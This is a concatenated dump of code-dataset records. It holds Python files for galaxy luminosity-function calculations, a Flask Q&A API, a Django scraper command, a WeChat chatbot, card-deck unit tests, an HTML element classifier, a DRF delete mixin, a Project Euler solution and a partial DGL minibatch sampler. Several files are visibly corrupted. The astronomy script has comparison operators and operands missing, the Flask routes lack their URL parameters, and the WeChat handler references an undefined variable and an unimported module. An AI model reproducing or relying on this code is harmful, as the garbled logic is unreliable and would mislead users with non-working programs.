UV[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nkUVerrs=np.round(kUVerr[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nzbests=np.round(zbests[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nzphots=np.round(zphots[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nzuse=np.round(zuses[np.where((zuses<=3)&(imargs.appmin)&(SGCLASS==0))[0]],4)\nmagrange=np.linspace(args.appmin,args.appmax,10)\nzrange=np.linspace(0,1.2,7)\nWeighttot=np.zeros_like(bmag)\nprint('Calculating spectroscopic weights')\nfor j in range(0,len(zrange)-1):\n for k in range(0,len(magrange)-1):\n x=len(np.where((zbests>=zrange[j]) & (zbests=magrange[k]) & (imag=1) & (zuse<3))[0])\n y=len(np.where((zbests>=zrange[j]) & (zbests=magrange[k]) & (imag0):\n Weighttot[np.where((zbests>zrange[j]) & (zbestsmagrange[k]) & (imag=1) & (zuse<3))[0]]=float(x+y)/float(x) \n print('Good Spec={}, Bad Spec={}, Weight={}, zrange={}-{}, magrange={}-{}'.format(x,y,float(x+y)/float(x),zrange[j],zrange[j+1],magrange[k],magrange[k+1]))\n\n\numags=umag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nuerrs=uerrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nkmags=kUVmag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nkerrs=kUVerrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nbmags=bmag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nberrs=berrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nvmags=vmag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nverrs=verrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nrmags=rmag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nrerrs=rerrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nimags=imag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nierrs=ierrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nzmags=zmag[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nzerrs=zerrs[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nzbest=zbests[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nWeightArray=Weighttot[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nzuse=zuse[np.where((zbests>=args.zmin)&(zbests<=args.zmax)&(zuse<3))[0]]\nprint(\"number of sources = %f\" %(len(bmags)))\n\nprint('Converting to maggies')\numaggies=ut.mag2maggies(umags)\nkmaggies=ut.mag2maggies(kmags)\nbmaggies=ut.mag2maggies(bmags)\nvmaggies=ut.mag2maggies(vmags)\nrmaggies=ut.mag2maggies(rmags)\nimaggies=ut.mag2maggies(imags)\nzmaggies=ut.mag2maggies(zmags)\n\nuinvervar=ut.invariance(umaggies,uerrs)\nkinvervar=ut.invariance(kmaggies,kerrs)\nbinvervar=ut.invariance(bmaggies,berrs)\nvinvervar=ut.invariance(vmaggies,verrs)\nrinvervar=ut.invariance(rmaggies,rerrs)\niinvervar=ut.invariance(imaggies,ierrs)\nzinvervar=ut.invariance(zmaggies,zerrs)\n\nallmaggies=np.stack((umaggies,kmaggies,bmaggies,vmaggies,rmaggies,imaggies,zmaggies),axis=-1)\nallinvervar=np.stack((uinvervar,kinvervar,binvervar,vinvervar,rinvervar,iinvervar,zinvervar),axis=-1)\n\nprint('Dividing up sources based on i-band filter')\n\ncarr=np.ndarray((len(bmaggies),6))\nrmarr=np.ndarray((len(bmaggies),8))\nrmarr0=np.ndarray((len(bmaggies),8))\n\nprint('Computing k-corrections')\nkcorrect.load_templates()\nkcorrect.load_filters('/home/lrhunt/programs/kcorrect/data/templates/Lum_Func_Filters_UKS.dat')\n\n\nfor i in range(0,len(carr)):\n\tcarr[i]=kcorrect.fit_nonneg(zbest[i],allmaggies[i],allinvervar[i])\nfor i in range(0,len(carr)):\n\trmarr[i]=kcorrect.reconstruct_maggies(carr[i])\n\trmarr0[i]=kcorrect.reconstruct_maggies(carr[i],redshift=0)\n\nkcorr=-2.5*np.log10(rmarr/rmarr0)\nrecmags=-2.5*np.log10(rmarr)\nkcorrs=np.zeros_like(zbest)\n\nM=np.zeros_like(zbest)\nprint('Calculating Absolute Magnitudes')\nMinimumM=0\nfor i in range(0,len(zbest)):\n\tif zbest[i]>0:\n\t\tif zbest[i]<=0.1:\n\t\t\tM[i]=bmags[i]-cosmo.distmod(zbest[i]).value-(kcorr[i][3]+recmags[i][3]-recmags[i][3])\n\t\tif zbest[i]<=0.35 and zbest[i]>0.1:\n\t\t\tM[i]=vmags[i]-cosmo.distmod(zbest[i]).value-(kcorr[i][3]+recmags[i][4]-recmags[i][3])\n\t\t\tkcorrs[i]=kcorr[i][1]+recmags[i][2]-recmags[i][1]\n\t\tif zbest[i]<=0.55 and zbest[i]>0.35:\n\t\t\tM[i]=rmags[i]-cosmo.distmod(zbest[i]).value-(kcorr[i][3]+recmags[i][5]-recmags[i][3])\n\t\tif zbest[i]<=0.75 and zbest[i]>0.55:\n\t\t\tM[i]=imags[i]-cosmo.distmod(zbest[i]).value-(kcorr[i][3]+recmags[i][6]-recmags[i][3])\n\t\tif zbest[i]>0.75:\n\t\t\tM[i]=zmags[i]-cosmo.distmod(zbest[i]).value-(kcorr[i][3]+recmags[i][7]-recmags[i][3])\n\t\tif M[i]-40:\n\t\t\tMinimumM=M[i]\n\t\t\tprint(MinimumM)\n\nif args.printk:\n\tnp.savetxt('kcorrections_10_35.txt',kcorrs)\n\nM_Cutoff=22.5-cosmo.distmod(args.zmax).value-(kcorr[len(kcorr)-1][1]+recmags[len(kcorr)-1][4]-recmags[len(kcorr)-1][1])\nprint('The cut off Magnitude is %f' % (M_Cutoff))\n\nprint('Calculatiing zmin and zmax')\n\nzupper=np.zeros_like(zbest)\nzlower=np.zeros_like(zbest)\n\nfor i in range(0,len(carr)):\n\ttempz=zbest[i]\n\tupperlim=args.appmax-imags[i]+cosmo.distmod(tempz).value+kcorr[i][6]\n\tmatchval=0\n\twhile matchvallowerlim:\n\t\tmatchval=cosmo.distmod(tempz).value-2.5*np.log10((kcorrect.reconstruct_maggies(carr[i],redshift=tempz)[6])/rmarr0[i][6])\n\t\ttempz=tempz-0.1\n\tif tempz<0:\n\t\ttempz=-0.1\n\t\tmatchval=0\t\n\ttempz=tempz+0.1\n\twhile matchval>lowerlim:\n\t\tmatchval=cosmo.distmod(tempz).value-2.5*np.log10((kcorrect.reconstruct_maggies(carr[i],redshift=tempz)[6])/rmarr0[i][6])\n\t\ttempz=tempz-0.01\n\ttempz=tempz+0.01\n\twhile matchval>lowerlim:\n\t\tmatchval=cosmo.distmod(tempz).value-2.5*np.log10((kcorrect.reconstruct_maggies(carr[i],redshift=tempz)[6])/rmarr0[i][6])\n\t\ttempz=tempz-0.001\n\ttempz=tempz+0.001\n\twhile matchval>lowerlim:\n\t\tmatchval=cosmo.distmod(tempz).value-2.5*np.log10((kcorrect.reconstruct_maggies(carr[i],redshift=tempz)[6])/rmarr0[i][6])\n\t\ttempz=tempz-0.0001\n\ttempz=tempz+0.0001\n\tif zbest[i]args.zmin:\n\t\t\tCMV[i]=cosmo.comoving_volume(zupper[i]).value/(4*np.pi/0.000312)-cosmo.comoving_volume(zlower[i]).value/(4*np.pi/(0.000312))\n\t\telse:\n\t\t\tCMV[i]=cosmo.comoving_volume(zupper[i]).value/(4*np.pi/0.000312)-cosmo.comoving_volume(args.zmin).value/(4*np.pi/(0.000312))\n\t\tprint('zbest-{},zupper-{},zlower-{}'.format(zbest[i],zupper[i],zlower[i]))\n\telse:\n\t\tif zlower[i]>args.zmin:\n\t\t\tCMV[i]=cosmo.comoving_volume(args.zmax).value/(4*np.pi/0.000312)-cosmo.comoving_volume(zlower[i]).value/(4*np.pi/(0.000312))\n\t\telse:\n\t\t\tCMV[i]=cosmo.comoving_volume(args.zmax).value/(4*np.pi/0.000312)-cosmo.comoving_volume(args.zmin).value/(4*np.pi/(0.000312))\n\ntesting=np.asarray(zminprobs)\n\nprint('Binning Absolute Magnitudes')\nMBinLow=np.arange(args.mbin)*1.\nMBinUp=np.arange(args.mbin)*1.\nWhereMbin=[]\nMVariable=args.Mmin\nfor i in range(0,args.mbin):\n\tprint(i,MVariable)\t\t\n\tWhereMbin.append(np.where((M<=(MVariable+Mbinsize)) & (M>MVariable))[0])\n\tMBinLow[i]=MVariable\n\tMVariable=MVariable+Mbinsize\n\tMBinUp[i]=MVariable\n\nLumFunc=np.array([])\nLumFuncErr=np.array([])\nNGal=np.array([])\nAveCMV=np.array([])\nAveWeight=np.array([])\nMBinMid=(MBinUp+MBinLow)/2.\nprint('Calculating values for Luminosity Function')\nfor i in range(0,len(WhereMbin)):\n\tval=0.0\n\terr=0.0\n\tNGalparam=0\n\tTOTVOL=0.0\n\tTOTWEIGHT=0.0\n\tfor j in range(0,len(WhereMbin[i])):\n\t\tif CMV[WhereMbin[i][j]]>0:\n\t\t\tif WeightArray[WhereMbin[i][j]]==0:\n\t\t\t\tprint(WeightArray[WhereMbin[i][j]],M[WhereMbin[i][j]])\n\t\t\tval=val+(TSR*WeightArray[WhereMbin[i][j]])/CMV[WhereMbin[i][j]]\n\t\t\terr=err+np.power(TSR*WeightArray[WhereMbin[i][j]],2)/(np.power((CMV[WhereMbin[i][j]])*Mbinsize,2))\n\t\t\tNGalparam=NGalparam+1\n\t\t\tTOTVOL=TOTVOL+CMV[WhereMbin[i][j]]\n\t\t\tTOTWEIGHT=TOTWEIGHT+TSR*WeightArray[WhereMbin[i][j]]\n\tLumFunc=np.append(LumFunc,val/Mbinsize)\n\tNGal=np.append(NGal,NGalparam)\n\tLumFuncErr=np.append(LumFuncErr,np.sqrt(err))\n\tif NGalparam!=0:\n\t\tAveCMV=np.append(AveCMV,TOTVOL/NGalparam)\n\t\tAveWeight=np.append(AveWeight,TOTWEIGHT/NGalparam)\n\telse:\n\t\tAveCMV=np.append(AveCMV,0)\n\t\tAveWeight=np.append(AveWeight,0)\nLogErr=LumFuncErr/(LumFunc*np.log(10))\noutarray=np.stack((MBinMid,LumFunc,LumFuncErr,LogErr,NGal,AveCMV,AveWeight),axis=-1)\nzrangearr=np.stack((zupper,zlower),axis=-1)\nnp.savetxt('redshiftrange_lf.txt',zrangearr)\nnp.savetxt(args.fileout,outarray,header='%.3f %.3f %d %.3f' % (args.zmax,args.zmin,args.mbin,Mbinsize))\nnp.savetxt('zmincandidates.txt',testing)\nprint(LumFunc)\n","sub_path":"LuminosityFunction.py","file_name":"LuminosityFunction.py","file_ext":"py","file_size_in_byte":13970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"151355733","text":"import time\nfrom collections import OrderedDict\nfrom flask import Blueprint, jsonify, request, make_response\nfrom ....models import models\n\nmod = Blueprint('api', __name__)\n\n\n@mod.route('/questions', methods=['GET', 'POST'])\ndef get_all_questions():\n if request.method == 'GET':\n if not models.Question.questions:\n resp = make_response(jsonify(''))\n resp.status_code = 404\n resp.mimetype = 'application/json'\n return resp\n else:\n select_query = request.args.get('select_query', None, str)\n if select_query:\n return_val = OrderedDict()\n for questionid in models.Question.questions:\n if select_query in models.Question.questions[questionid].value:\n return_val.update(\n {len(return_val) +\n 1: models.Question.questions[questionid]\n .unpack()})\n resp = make_response(jsonify(dict(return_val)))\n resp.status_code = 200\n resp.mimetype = 'application/json'\n return resp\n return_val = OrderedDict()\n for questionid in models.Question.questions:\n return_val[questionid] = models.Question.questions[questionid].unpack()\n resp = make_response(jsonify(dict(return_val)))\n resp.status_code = 200\n resp.mimetype = 'application/json'\n return resp\n else:\n sender = request.args.get('sender', default=None, type=str)\n quiz = request.args.get('quiz', default=None, type=str)\n if sender and quiz:\n my_quiz = models.Question(sender, quiz)\n resp = make_response(jsonify('question added'))\n resp.status_code = 200\n resp.mimetype = 'application/json'\n return resp\n else:\n resp = make_response(jsonify('no parameters'))\n resp.status_code = 400\n resp.mimetype = 'application/json'\n return resp\n\n\n@mod.route('/questions/', methods=['GET'])\ndef get_specific_question(question_id):\n if len(models.Question.questions) < question_id:\n resp = make_response(jsonify('NOT FOUND'))\n resp.status_code = 404\n resp.mimetype = 'application/json'\n return resp\n elif question_id <= 0:\n resp = make_response(jsonify('bad request'))\n resp.status_code = 400\n resp.mimetype = 'application/json'\n return resp\n else:\n resp = make_response(jsonify(models.Question.questions[question_id]\n .unpack()))\n resp.status_code = 200\n resp.mimetype = 'application/json'\n return resp\n\n\n@mod.route('/questions//answers', methods=['GET', 'POST'])\ndef get_post_answers(question_id):\n if len(models.Question.questions) < question_id:\n resp = make_response(jsonify('NOT FOUND'))\n resp.status_code = 404\n resp.mimetype = 'application/json'\n return resp\n elif question_id <= 0:\n resp = make_response(jsonify('bad request'))\n resp.status_code = 400\n resp.mimetype = 'application/json'\n return resp\n else:\n select_query = request.args.get('select_query', None, str)\n if request.method == 'GET':\n val = models.Question.questions[question_id].answers\n answers = OrderedDict()\n if not val:\n resp = make_response(jsonify(''))\n resp.status_code = 404\n resp.mimetype = 'application/json'\n return resp\n else:\n if select_query:\n for answerid in val:\n if select_query in val[answerid].value:\n answers[answerid] = val[answerid].unpack()\n resp = make_response(jsonify(answers))\n resp.status_code = 200 if answers else 404\n resp.mimetype = 'application/json'\n return resp\n for answerid in val:\n answers[answerid] = val[answerid].unpack()\n resp = make_response(jsonify(answers))\n resp.status_code = 200\n resp.mimetype = 'application/json'\n return resp\n else:\n sender = request.args.get('sender', None, str)\n answer = request.args.get('answer', None, str)\n if not (sender and answer):\n resp = make_response(jsonify('missing parameters'))\n resp.status_code = 400\n resp.mimetype = 'application/json'\n return resp\n else:\n ans = models.Answer(sender, answer)\n models.Question.questions[question_id].add_answer(ans)\n resp = make_response(jsonify('answer posted'))\n resp.status_code = 201\n resp.mimetype = 'application/json'\n return resp\n\n\n@mod.route('/questions//answers//comments',\n methods=['GET', 'POST'])\ndef get_post_comments(question_id, answer_id):\n not_found = (question_id > len(models.Question.questions)) or (\n answer_id > len(models.Question.questions[question_id].answers))\n if not_found:\n resp = make_response(jsonify('NOT FOUND'))\n resp.status_code = 404\n resp.mimetype = 'application/json'\n return resp\n elif question_id <= 0 or answer_id <= 0:\n resp = make_response(jsonify('bad request'))\n resp.status_code = 400\n resp.mimetype = 'application/json'\n return resp\n else:\n if request.method == 'GET':\n comments = OrderedDict()\n comments_on_answer = (models.Question.questions[question_id]\n .answers[answer_id].comments)\n if not comments_on_answer:\n resp = make_response(jsonify(''))\n resp.status_code = 404\n resp.mimetype = 'application/json'\n return resp\n else:\n for commentid in comments_on_answer:\n comments[commentid] = (comments_on_answer[commentid]\n .unpack())\n resp = make_response(jsonify(comments))\n resp.status_code = 200\n resp.mimetype = 'application/json'\n return resp\n else:\n sender = request.args.get('sender', None, str)\n comment = request.args.get('comment', None, str)\n if not (sender and comment):\n resp = make_response(jsonify('mising parameters'))\n resp.status_code = 400\n resp.mimetype = 'application/json'\n return resp\n else:\n comment = models.Comment(sender, comment)\n (models.Question.questions[question_id].answers[answer_id]\n .add_comment(comment))\n resp = make_response(jsonify('answer posted'))\n resp.status_code = 201\n resp.mimetype = 'application/json'\n return resp\n","sub_path":"StackOverflow_Lite/api/version_1/views/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":7299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"19408316","text":"from time import sleep\n\nfrom django.core.management.base import BaseCommand\nfrom django.utils import timezone\n\nfrom core import tasks\n\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n print('Parsing news sites run')\n hour = 60 * 60\n\n while True:\n current_hour = timezone.now().hour # AM\n if 1 < current_hour < 8:\n sleep((8 - current_hour) * hour)\n\n tasks.parsing_news()\n\n sleep(6 * hour)\n","sub_path":"parsing_news/core/management/commands/parsing_news.py","file_name":"parsing_news.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"495073507","text":"# -*- coding: utf-8 -*-\nimport hashlib\nimport web\nimport lxml\nimport time\nimport os\nimport urllib2,json\nfrom lxml import etree\n\nclass WeixinInterface:\n\n def __init__(self):\n self.app_root = os.path.dirname(__file__)\n self.templates_root = os.path.join(self.app_root, 'templates')\n self.render = web.template.render(self.templates_root)\n\n def GET(self):\n #get the input data\n data = web.input()\n signature = data.signature\n timestamp = data.timestamp\n nonce = data.nonce\n echostr = data.echostr\n #your token\n token = \"MYTOKENXDDDD\"\n #sort\n list = [token, timestamp, nonce]\n list.sort()\n sha1 = hashlib.sha1()\n map(sha1.update,list)\n hashcode = sha1.hexdigest()\n #sha1 \n\n def POST(self):\n str_xml = web.data() #get the data from post\n xml = etree.fromstring(str_xml) #XML \n mstype = xml.find(\"MsgType\").text #message type\n fromUser = xml.find(\"FromUserName\").text\n toUser = xml.find(\"ToUserName\").text\n \n if mstype == 'text':\n content = xml.find(\"Content\").text #get user's input\n key = '##########' ###APIkey \n api = 'http://www.tuling123.com/openapi/api?key=' + key + '&info=' \n info = content.encode('UTF-8') \n url = api + info \n page = urllib.urlopen(url) \n html = page.read() \n dic_json = json.loads(html) \n reply_content = dic_json['text']\n return self.render.reply_text(fromUser,toUser,int(time.time()),reply_content)\n \n #If the request is from wechat, reply echostr\n if hashcode == signature:\n return echostr\n","sub_path":"weixinInterface.py","file_name":"weixinInterface.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"41062156","text":"from unittest import TestCase,mock\nfrom unittest.mock import patch\nfrom Game.DeckOfCards import DeckOfCards\nfrom Game.cards.Card import Card\nclass TestDeckOfCards(TestCase):\n #setUp לטסטים\n def setUp(self):\n self.deck=DeckOfCards()\n self.values = [\"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\", \"A\"]\n self.suits = [\"♦\", \"♠\", \"♥\", \"♣\"]\n #בדיקה לקונסטרקטור ערכים\n def testValues(self):\n self.assertTrue(self.deck.values==[\"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\",\"A\"])\n #בדיקה לקונסטרקטור סוגים\n def testSuits(self):\n self.assertTrue(self.deck.suits == [\"♦\",\"♠\",\"♥\",\"♣\"])\n #בדיקה שהפונקציה קוראת נכון לnew game\n def testCallnginit(self):\n with patch('games.cards.DeckOfCards.DeckOfCards.newGame') as ng:\n deck=DeckOfCards()\n ng.assert_called_with(deck)\n # טסט שבודק את הקריאה לstartCards בnew game.\n def test_new_game1(self):\n with patch('games.cards.DeckOfCards.DeckOfCards.startCards') as sc:\n self.deck.newGame()\n sc.assert_called_with(self.deck)\n #טסט שבודק את הקריאה לשאפל בnew game\n def test_new_game2(self):\n with patch('games.cards.DeckOfCards.DeckOfCards._shuffle') as sh:\n self.deck.newGame()\n sh.assert_called_with(self.deck)\n #מתודה הבודקת את שזה מכניס 52 קלפים-עם ערכים מתאימים\n def test_start_cards(self):\n with patch('games.cards.DeckOfCards.DeckOfCards.newGame') as ng:\n ng.return_value=self.deck\n self.deck.newGame()\n d=[]\n for i in self.values:\n for j in self.suits:\n card=Card(i,j)\n d.append(card)\n for i in range(0,52):\n self.assertTrue(d[i] in self.deck.deckcards)\n #בדיקת פונקציית השאפל-בודק שמשנה את חבילת הקלפים-במקומות 0- במידה ולא השתנה אז גם ב20.\n #הסיבה שבודקים בשני מקומות-סטטיסטית קיים סיכוי שהראשון לא ישתנה\n def test_shuffle1(self):\n deck=[]\n for i in range(0,5):\n deck.append(self.deck.deckcards[i])\n self.deck._shuffle()\n try:\n self.assertTrue(self.deck.deckcards[0]!=deck[0])\n except:\n self.assertTrue(self.deck.deckcards[4] != deck[4])\n #מתודה שבודקת שזה לא עושה שאפל לחפיסת קלפים לא מלאה\n def test_shuffle2(self):\n card1=Card(self.deck.deckcards[0].value,self.deck.deckcards[0].suit)\n card2=Card(self.deck.deckcards[4].value,self.deck.deckcards[4].suit)\n del self.deck.deckcards[51]\n self.deck._shuffle()\n try:\n self.assertTrue(self.deck.deckcards[0] == card1)\n except:\n self.assertTrue(self.deck.deckcards[4] == card2)\n #פונקציה שבודקת את dealone חפיסה לא ריקה\n def test_deal_one1(self):\n card1=self.deck.deckcards[51]\n card2=self.deck.dealOne()\n self.assertTrue(card1==card2)\n #מתודה שבודקת את dealone חפיסה ריקה\n def test_deal_one2(self):\n deck1=DeckOfCards()\n deck1.deckcards=[]\n deck1.dealOne()\n deck1.deckcards=[]\n #מתודה שבודקת אם אורך החבילה מתקצר בdealone\n def test_deal_one3(self):\n num=len(self.deck.deckcards)\n self.deck.dealOne()\n self.assertTrue(num==len(self.deck.deckcards)+1)\n #מתודה שבודקת את המתודה show של החפיסה\n def test_show(self):\n with patch('games.cards.DeckOfCards.DeckOfCards.__repr__') as rp:\n self.deck.show()\n rp.assert_called_with(self.deck)\n","sub_path":"Tests/test_DeckOfCards.py","file_name":"test_DeckOfCards.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"305338387","text":"import requests, re, urlparse, uuid, copy, html2text, itertools\nimport url as moz_url\nfrom lxml import etree\nfrom collections import defaultdict\nfrom tgrocery import Grocery\n\nwhitespace = re.compile('\\s+')\nNONE_LABEL = \"__NONE__\"\n\ndef _element_features(item):\n features = set()\n features.add(\"tag-%s\" % item.tag)\n \n if 'class' in item.attrib and item.attrib['class'].strip():\n classes = whitespace.split(item.attrib['class'])\n for _c in classes:\n c = _c.strip()\n if c:\n features.add(\"class-%s\" % c)\n\n if 'id' in item.attrib:\n features.add(\"id-%s\" % item.attrib['id'])\n\n return features\n\ndef _walk_down(node, desc_features, page_features):\n node_id = str(uuid.uuid4())\n node.attrib['node-uuid'] = node_id\n\n features = _element_features(node)\n pos_features = set(['pos-%s' % len(list(node.itersiblings(preceding=True)))])\n \n child_desc_features = set([(1, f) for f in features.union(pos_features)]).union(set((i + 1, f) for i, f in desc_features))\n\n anc_features = set()\n for child in node.iterchildren(tag=etree.Element):\n child_anc_features = _walk_down(child, child_desc_features, page_features)\n anc_features = anc_features.union(child_anc_features)\n\n page_features['base'][node_id] = features\n page_features['desc'][node_id] = desc_features\n page_features['anc'][node_id] = anc_features\n page_features['pos'][node_id] = pos_features\n\n return set([(1, f) for f in features]).union(set((i + 1, f) for i, f in anc_features))\n\ndef _features_for_node(node, page_features):\n node_id = node.attrib['node-uuid']\n node_features = list(page_features['base'].get(node_id, [])) +\\\n list(page_features['pos'].get(node_id, [])) +\\\n [\"desc-%s-%s\" % (i, f) for i, f in page_features['desc'].get(node_id, [])] +\\\n [\"anc-%s-%s\" % (i, f) for i, f in page_features['anc'].get(node_id, [])]\n return node_features\n\ndef _response_to_features(response, xpaths_and_labels=None):\n tree = etree.HTML(response.text)\n \n if xpaths_and_labels:\n for xpath, label in xpaths_and_labels:\n tree.xpath(xpath)[0].attrib['node-label'] = label\n\n page_features = {\n 'base': {},\n 'anc': {},\n 'desc': {},\n 'pos': {},\n }\n\n _walk_down(tree, set(), page_features)\n\n out = []\n for node in tree.iter(tag=etree.Element):\n node_out = {'features': _features_for_node(node, page_features), 'node': node, 'url': response.url}\n if xpaths_and_labels:\n node_out['label'] = node.attrib.get('node-label', NONE_LABEL)\n\n out.append(node_out)\n\n return out\n\nclass ElementClassifier(Grocery):\n def __init__(self, name):\n super(ElementClassifier, self).__init__(name, custom_tokenize=lambda x: x.split(\" \"))\n self._training_data = []\n\n def add_page(self, response, xpaths_and_labels):\n features_list = _response_to_features(response, xpaths_and_labels)\n self._training_data += features_list\n\n def train(self):\n super(ElementClassifier, self).train([(node['label'], \" \".join(node['features'])) for node in self._training_data])\n\n def extract(self, response, format=\"text\"):\n out_data = defaultdict(list)\n\n features_list = _response_to_features(response)\n\n for node in features_list:\n prediction = str(self.predict(\" \".join(node['features'])))\n if prediction != NONE_LABEL:\n if format == \"text\":\n text = html2text.html2text(etree.tostring(node['node'])).strip()\n else:\n # strip the stuff we've tacked onto the dom\n element = copy.deepcopy(node['node'])\n for child in element.iter(tag=etree.Element):\n child.attrib.pop('node-label', None)\n child.attrib.pop('node-uuid', None)\n\n # do the equivalent of an innerHTML operation\n text = stringify_children(element)\n if text:\n out_data[prediction].append(text)\n\n return out_data\n\n # this is a bit of a hack for testing on train\n def test_xpaths(self, response, xpaths_and_labels):\n out_data = []\n\n features_list = _response_to_features(response, xpaths_and_labels)\n\n for node in features_list:\n prediction = str(self.predict(\" \".join(node['features'])))\n if prediction != NONE_LABEL or node['node'].attrib.get('node-label', NONE_LABEL) != NONE_LABEL:\n text = html2text.html2text(etree.tostring(node['node'])).strip()\n out_data.append({\n 'url': response.url,\n 'expected_label': node['node'].attrib.get('node-label', None),\n 'got_label': None if prediction == NONE_LABEL else prediction,\n 'element': node['node']\n })\n\n return out_data\n\n# from http://stackoverflow.com/questions/4624062/get-all-text-inside-a-tag-in-lxml\ndef stringify_children(node):\n parts = ([node.text] +\n list(itertools.chain(*([c.text, etree.tostring(c), c.tail] for c in node.getchildren()))) +\n [node.tail])\n # filter removes possible Nones in texts and tails\n return ''.join(filter(None, parts))","sub_path":"mlscrape/element.py","file_name":"element.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"634608297","text":"from rest_framework.response import Response\nfrom rest_framework.decorators import detail_route, list_route\n\nclass BatchDeleteViewSetMixin(object):\n \"\"\" provide batch delete endpoints, use with DRF ModelViewSet \"\"\"\n\n @list_route(methods=['post', 'delete'])\n def delete(self, request, pk=None):\n \"\"\" batch delete, post ids string '1,2,3' to /delete \"\"\"\n pk = request.POST.get('pk')\n pk = pk.split(',')\n queryset = self.filter_queryset(self.get_queryset())\n queryset = queryset.filter(pk__in=pk)\n if queryset.count():\n queryset.delete()\n else:\n data = {'detail': 'Object not found, or permission denied.'}\n return Response(data, status=404)\n return Response({'success': True}, status=200)\n","sub_path":"core/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"119070866","text":"def nex(x):\n return sum([int(c) ** 2 for c in str(x)])\n\ndef sad(x):\n if x == 1:\n return False\n elif x == 89:\n return True\n\n return sad(nex(x))\n\nn = 0\n\nfor i in range(1, 10000000):\n if sad(i):\n n += 1\n\nprint(n)\n","sub_path":"092.py","file_name":"092.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"525335857","text":"\"\"\"Minibatch Sampler\"\"\"\n\nfrom collections.abc import Mapping\nfrom functools import partial\nfrom typing import Iterator, Optional\n\nfrom torch.utils.data import default_collate\nfrom torchdata.datapipes.iter import IterableWrapper, IterDataPipe\n\nfrom ..batch import batch as dgl_batch\nfrom ..heterograph import DGLGraph\nfrom .itemset import ItemSet, ItemSetDict\n\n__all__ = [\"MinibatchSampler\"]\n\n\nclass MinibatchSampler(IterDataPipe):\n \"\"\"Minibatch Sampler.\n\n Creates mini-batches of data which could be node/edge IDs, node pairs with\n or without labels, head/tail/negative_tails, DGLGraphs and heterogeneous\n counterparts.\n\n Note: This class `MinibatchSampler` is not decorated with\n `torchdata.datapipes.functional_datapipe` on purpose. This indicates it\n does not support function-like call. But any iterable datapipes from\n `torchdata` can be further appended.\n\n Parameters\n ----------\n item_set : ItemSet or ItemSetDict\n Data to be sampled for mini-batches.\n batch_size : int\n The size of each batch.\n drop_last : bool\n Option to drop the last batch if it's not full.\n shuffle : bool\n Option to shuffle before sample.\n\n Examples\n --------\n 1. Node IDs.\n >>> import torch\n >>> from dgl import graphbolt as gb\n >>> item_set = gb.ItemSet(torch.arange(0, 10))\n >>> minibatch_sampler = gb.MinibatchSampler(\n ... item_set, batch_size=4, shuffle=True, drop_last=False\n ... )\n >>> list(minibatch_sampler)\n [tensor([1, 2, 5, 7]), tensor([3, 0, 9, 4]), tensor([6, 8])]\n\n 2. Node pairs.\n >>> item_set = gb.ItemSet((torch.arange(0, 10), torch.arange(10, 20)))\n >>> minibatch_sampler = gb.MinibatchSampler(\n ... item_set, batch_size=4, shuffle=True, drop_last=False\n ... )\n >>> list(minibatch_sampler)\n [[tensor([9, 8, 3, 1]), tensor([19, 18, 13, 11])], [tensor([2, 5, 7, 4]),\n tensor([12, 15, 17, 14])], [tensor([0, 6]), tensor([10, 16])]\n\n 3. Node pairs and labels.\n >>> item_set = gb.ItemSet(\n ... (torch.arange(0, 5), torch.arange(5, 10), torch.arange(10, 15))\n ... )\n >>> minibatch_sampler = gb.MinibatchSampler(item_set, 3)\n >>> list(minibatch_sampler)\n [[tensor([0, 1, 2]), tensor([5, 6, 7]), tensor([10, 11, 12])],\n [tensor([3, 4]), tensor([8, 9]), tensor([13, 14])]]\n\n 4. Head, tail and negative tails\n >>> heads = torch.arange(0, 5)\n >>> tails = torch.arange(5, 